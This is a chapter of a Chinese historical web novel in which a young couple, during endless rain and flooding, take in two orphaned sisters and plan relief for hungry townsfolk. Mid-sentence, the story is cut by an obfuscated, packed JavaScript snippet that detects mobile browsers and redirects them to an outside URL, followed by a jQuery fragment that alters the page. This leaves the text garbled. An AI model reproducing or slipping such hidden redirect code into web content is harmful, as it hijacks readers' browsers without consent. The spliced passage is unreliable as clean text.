二十多天的时间一晃而过,而如今却不见雨停的征兆。已然没了夏日残留的热气,如今苏杭一带的天气可以说是跟得罪了什么神仙一样——稀稀落落的雨下个不停。
“二哥,这快一个月了,怎么不见一个好天气?若再这样下去,怕是府上要有更多粮食发霉发潮了。”昭黎刚从时思意屋里回来,今晨她就是被雨声吵醒的,找时思意玩了有一个多时辰,这雨一直没停。
时怀瑾接过她手里的伞:“我前些日子派人回了渝州一趟,那人方才回来了,说那边也是,下个没完没了的。苏杭一带至少没有暴雨,渝州那边暴雨连绵了三天,有些常年失修的堤坝都被冲毁了,咱们爹娘正都派人去修堤坝了。”
闻言昭黎无意间蹙了蹙眉,轻声叹息:“若再这样下去,想是我们也得想个法子做点什么了,今年这样涝,那些靠天吃饭的百姓倒不知得怎的了。”
时怀瑾没说话,上前沏了壶茶,待茶叶泡开后,昭黎闻见了淡淡的清香。
“这是什么茶?真好闻,清淡而不寡冽,之前没喝过。”
“惠明茶,前几天仲元给我的,尝尝?”
昭黎点头,接过茶杯。果然清香满溢,鲜爽甘醇,不会像有些茶那般发涩,细品着还有点瓜果香,不禁让女孩微微挑眉。
时怀瑾见状笑道:“仲元说是前些日子在特地在瓜果堆里熏了几天,说这样更好喝些,看央央的模样,倒的确如此。”
昭黎轻笑一声,继而道:“下次见到仲元,定要好好谢谢他才是。”然她话锋一转,往时怀瑾跟前凑了凑,“二哥,方才我跟思意商量着,要出去走走,想看看有没有能帮上忙的,万一真成了涝灾了,我们多少也帮帮这城中百姓,二哥意下如何?”
听闻她这样说,时怀瑾哪有不应的理,只是现今的雨不停,时思意身体又那个样子,若染了风寒就不好了。
似是看出他心中顾虑,昭黎将茶啜饮一口:“若二哥不放心思意,那便二哥跟我同去,让思意在家待着,待到后头放了晴或不下雨了,再让思意出去走走。”
时怀瑾点头。
言罢二人便想着思意若听见这事儿一定要跟了去,便没跟她说,连贴身丫鬟都没带,就出了门。
这些天一直在时宅中躲雨,竟不知外头已然成了这副景象——
不消多远,昭黎便看见一个约莫四五岁的小女孩跟在一个大些的女孩身后,脏兮兮的小手中使劲儿攥着一块已经干巴了的饼。间或见她张嘴啃一口,一张小脸便皱成一团——
这样粗硬的饼,四五岁的小女孩哪能吃得。
而她前头那个大些的女孩,也就十岁左右的样子,紧紧牵住妹妹的手,想来那块饼也是她不舍得吃,才给了妹妹的。
昭黎不禁心生怜悯,蹙起眉头,上前弯腰问道那个大些的女孩:“小姑娘,怎么只有你跟妹妹一起?你爹爹娘亲呢?”
女孩没说话,一脸警惕地看着昭黎,另一个小女娃闻言紧紧躲在姐姐身后,手中啃了没几口的饼也不吃了。
昭黎见她如此反应,便知这要么从前被骗过,要么就是被这样教育的,便直接将伞撑到两个女孩头上,一下子没了雨,倒还有些不适应,女孩警惕的神情似乎放松了些。
昭黎温声细语道:“姐姐不是坏人,是看就你们两个小孩子,又都搞得脏兮兮的,才想问问你们的爹娘去哪了。”
女孩放松了神情,安慰似的揉揉妹妹的头发,这才开口:“两年前这里发水灾,爹娘当时去地里干活,那天下了特别大的雨,我就带着妹妹在家等爹娘,”她顿了顿,极力作出平静的样子,“后来雨停了,爹娘没回来。”
夫妻二人闻言皆是一愣,一瞬间的僵硬,简单的一句话,让昭黎如坠冰窟。
街头的雨还在滴滴答答地下着,昭黎看着眼前女孩漾着水的眼睛却没有属于她这个年纪的精神气,垂了垂眸子,挤出一个笑:“你叫什么名字?你跟妹妹之后怎么生活的?”
“我没有名字,都叫我大丫,妹妹是二丫。当时奶奶还活着,但是年纪大了,爹娘留下的地就要我跟奶奶一起种,去年冬天奶奶生病了,痨病。家里没银子去治,今年开春奶奶就没了,然后我把家里稍微值点钱的东西都卖掉了,给奶奶买了副棺材。”女孩说起这些的时候语气都没什么大的波动,似乎已经习惯了,或是已经悲哀透顶了。
昭黎顿生怜悯,眼前两个小女孩都瘦得纸片一般,她回头跟时怀瑾对视一眼,见他点头,便对两个小女孩说:“你们想找个包吃包住的活计干吗?有月钱拿的。”
女孩一听两眼放光,却立马又熄灭了:“我之前想去那些老爷家当粗使丫鬟,但是都嫌我太瘦太小,干不了活,都不要我。”
昭黎轻笑:“我们不招粗使丫鬟,我们找日日服侍小姐的,那位小姐比你小些,你可愿意?”
时怀瑾知道昭黎说的是时知意,也对,时知意自小的贴身丫鬟没有同龄的,跟她差不多大的丫鬟都哪哪都追不上她,她跟自己的侍女也没什么共同话题,所以一直缠着家中长辈。
那女孩点点头,又摇摇头:“不行,妹妹没有我照顾,她一个人活不成的。”
“妹妹也一起去,先在府里养着长长身体,自然也给她活计做。”
女孩这才松了口,表示同意,昭黎便将两个女孩一手牵过一个:“走吧,先跟姐姐回时宅,等我们回去的时候,将你们二人一起带走。”
在大丫的记忆里,只有娘亲会这样温声细语地说话,也只有娘亲会牵着她的手。但娘亲的手是粗糙的、磨人的,这个姐姐的手是柔韧的、细软的,她的声音有些哽住了,张了张嘴,良久才说出一句:“谢谢姐姐……”
二丫如今还没法理解这是什么情况,她只知道以后不用再饿肚子了,还能跟着这个漂亮大姐姐。小脸笑得眼睛眯成一条缝,被时怀瑾看见了,唇角不由得也勾起一弯弧度。
回了房中,皎月见昭黎领了两个小丫头来,忙迎上去:“少奶奶,您这是?”
“皎月,这两个丫头无依
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458949|181281||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无靠的,现在这种天气,若一直下去,她们是活不成的,就让她们在府上找个活计做,等我们回渝州的时候一并带回去。”昭黎又把两个小女孩推给皎月,“你先带她们去洗洗,再换一身干净清爽的衣裳——”
“对了,大丫二丫,以后你们两个,一个叫夏蝉,一个叫冬雪。”说罢昭黎便去寻时怀瑾商量对策了。
皎月忙应下,领了两个女孩去沐浴更衣。
昭黎一屁股坐到案几前,见时怀瑾正拿着什么看着,她凑上去瞧了瞧:“这是什么?”
“这边庄子上今年的收成,大幅度亏空,连往年的三分之一都赶不上。”
昭黎道:“今年的雨这么大,我看收成都大差不差,听说过几天还有大雨,一下就得好几日,到时候怕是有更多百姓流离失所。方才我们看见的那两个小女孩,这绝不是个例,还有很多人的情况或许比她们更惨些。”昭黎叹口气,继而又说,“若几日后真的下暴雨,等雨停的工夫,我们去街上布施吧,我们亲自去,别让真的吃不上饭的人最后连几粒米都没吃到。”
时怀瑾点点头,他知道昭黎在担心什么,她担心若假于人手,怕是会像当初京城大旱那样,再发生孟絮那种人做的恶心勾当。
“方才两个小丫头都安排下去了?”
“嗯,我已经吩咐皎月去照料了,”昭黎忽然感觉有些累累的,便靠到时怀瑾身上,倚在他肩头,“我还给她们俩取了名字,大的叫夏蝉,小的叫冬雪,大丫二丫哪像名字。”
时怀瑾闻一笑,将人揽进怀里,颇有些无奈道:“老百姓家的孩子,尤其是两个女娃娃,没名没姓的多了去了,属实想不通为何一定要男娃娃传宗接代,谁的孩子不是孩子了,不知道的倒以为他们在替旁人家养媳妇。”
“女娃娃最后的结局无非就是,没有兄弟,便被随手找人嫁了,若有兄弟,要么跟卖女儿一样,得了聘礼给兄弟娶媳妇做聘礼,要么就直接换亲。所以我方才才想带她们走,无非是多两张嘴吃饭的事儿,若不这样,怕是活下去都成问题,至少在我跟前,她们不会被欺负,更不会受偏见。”
男人眸色暗沉,一双黑眸深不见底,抿了抿唇,似乎在思索下面该如何接话。
而他们都没有再说话,直到昭黎将一海的茶水饮尽,早就不热了,衬得外头的雨愈发让人烦躁。
正当她要开口时,时怀瑾忽然说:“你有没有想过,这种事是避免不了的,会很麻烦,我们能救两个女孩,或许也能救二十个,可是旁的呢?这天下这种情况的女孩,数以万计,我们能做的不过是……”
不等他把话说完,昭黎便打断他:“二哥你错了。对我来说,能救一个是一个,况且这世上不只我会这样做,终归会有很多人这样做,这救的就多了。若人人都只想着自己成不了什么大气候,故而就不去救,这才是最悲哀的。”
时怀瑾闻言一愣,一种强烈的哽咽感涌到喉头,他不知该如何描述这种感觉,但此番而言,或许沈家昭黎,生来就不凡。